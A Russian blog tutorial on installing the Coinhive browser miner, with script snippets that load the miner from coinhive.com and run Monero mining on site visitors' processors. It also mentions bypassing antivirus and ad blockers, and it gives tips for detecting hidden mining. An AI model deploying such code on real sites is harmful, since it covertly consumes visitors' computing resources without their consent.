Coinhive - javascript для майнинга Monero на вашем сайте

Coinhive

Coinhive — javascript для майнинга Monero, который вы можете встроить на свой сайт. Скрипт будет запускаться в браузере ваших посетителей. Таким образом можно отказаться, например, от показа рекламы на сайте.

16 сентября всемирно известный торрент-трекер The Pirate Bay внедрил на свой сайт javascript, который использовал процессоры посетителей сайта для майнинга Monero. Представители The Pirate Bay позже заявили, что они находятся в поиске альтернатив заработку на показе рекламы и тестировали скрипт в течение суток.

26 сентября украинские сайты Football.ua, Korrespondent.net, iSport.ua и Tochka.net, принадлежащие компании «Украинский Медиа Холдинг», скрыто майнили криптовалюту Monero через компьютеры своих пользователей. Скрипт для манинга был вскоре убран с сайтов после публикаций в соцсетях.

Если у вас есть сайт, то скорей всего вас посещали мысли как внедрить майнинг, чтобы посетители приносили вам доход. Но я не рекомендую этого делать, если вы дорожите своей репутацией.

Регистрация и настройка Coinhive

Идете на сайт Coinhive и переходите в раздел регистрации (Signup). Заполняете email и пароль, затем ставите галочку в капче. После этого необходимо подождать какое-то время. Пока идет «проверка» капчи, вы можете заметить загрузку вашего процессора — это сайт начал майнить Monero, с помощью вашего процессора. Вот такая плата за регистрацию.

Такую же капчу можно встроить на свой сайт. При каждой проверке капчи будет майниться Monero на ваш внутренний счет в Coinhive.

После входа в личный кабинет необходимо войти в раздел Настройки — Сайты и API ключи (Settings » Sites & API Keys). Тут нам будет необходим «Site Key (public)», его необходимо будет вставить в скрипт.

Подробные настройки Coinhive можно найти в статье: «Настройки Coinhive для майнинга Monero на сайте»

Если у вас несколько сайтов и вам необходимо вести раздельную статистику, то можете добавить еще один.

В личном кабинете потом можно смотреть статистику по майнингу. Выглядит примерно вот так:

Coinhive статистика майнинга

Установка javascript майнера Coinhive

UPD: Coinhive ввел новые параметры и способы обхода антивирусов и блокировщиков рекламы. Подробнее в статье «Настройки Coinhive для майнинга Monero на сайте».

Теперь нам необходимо установить javascript на наш сайт. Для этого необходимо внести несколько строк в код вашего сайта.

Подключаем скрипт майнера:

<script src="https://coinhive.com/lib/coinhive.min.js" type="text/javascript"></script>

Теперь необходимо добавить следующий код:

<script type="text/javascript">
    var miner = new CoinHive.User('KOEPJ7apFGDo85uf5vrjD3XvK90AdOdO', 'pogrommist');
    miner.start();
</script>

Данный скрипт будет запускать майнинг в браузере, используя мощность процессора пользователя. Тут необходимо заменить Site key (public) на свой. Но можете оставить для теста мой, тем самым отблагодарив меня чуток 🙂

Можно немного модернизировать код и установить, например, количество потоков, чтобы не нагружать процессор пользователей на 100%.

<script type="text/javascript">
    var miner = new CoinHive.User('KOEPJ7apFGDo85uf5vrjD3XvK90AdOdO', 'pogrommist', {
        threads: 2,
        autoThreads: false,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;throttle:&nbsp;0.8
    });
    miner.start();
</script>

Здесь мы указали, чтобы скрипт использовал 2 потока/ядра процессора пользователя и отключили автоматический выбор оптимального количества потоков/ядер для майнинга.

Статистика работы Coinhive

Насколько выгодно использовать Coinhive?

Насколько выгодно использовать Coinhive надо смотреть в каждом отдельном случае.

Я ставил код для тестов на сутки. Использовались 2 сайта с посещаемостью 1500-1800 уникальных посетителей и среднем временем пребывания на сайте 3,5-5 минут. За 24 часа получилось намайнить 0,00325 XMR = ~0.30$ (21.970.432 хешей). Если посчитать, то выходит чтобы заработать минималку для вывода 0,5XMR  необходимо минимум 5,5 месяцев…
UPD: сейчас CoinHive разрешил выводить от 0,05XMR. При этом будет удержана комиссия 0,01XMR.

Считаю, что репутация сайта намного дороже. Ну и скорей всего можно попасть под санкции поисковиков 😉

Как защититься от скрытого майнинга на сайтах

Очень просто. Если при посещении сайта вы заметите, что ваш компьютер начал шуметь и греться, значит скорей всего на данном сайте есть скрытый майнинг. Посмотрите на статистику загруженности процессора, при майнинге процессор будет сильно загружен.

Загрузка процессора от майнинга

В настройках браузера можно отключить javascript, но это может сказаться на работоспособности сайтов, использующих javascript в мирных целях. Поэтому целесообразно отключать javascript для определенных сайтов.

Еще можно использовать блокировщики рекламы. Adblock PRO прекрасно блокирует майнер Coinhive без каких-либо дополнительных настроек.

Как майнить Bitcoin на своем компьютере вы можете прочитать в статье о NiceHash.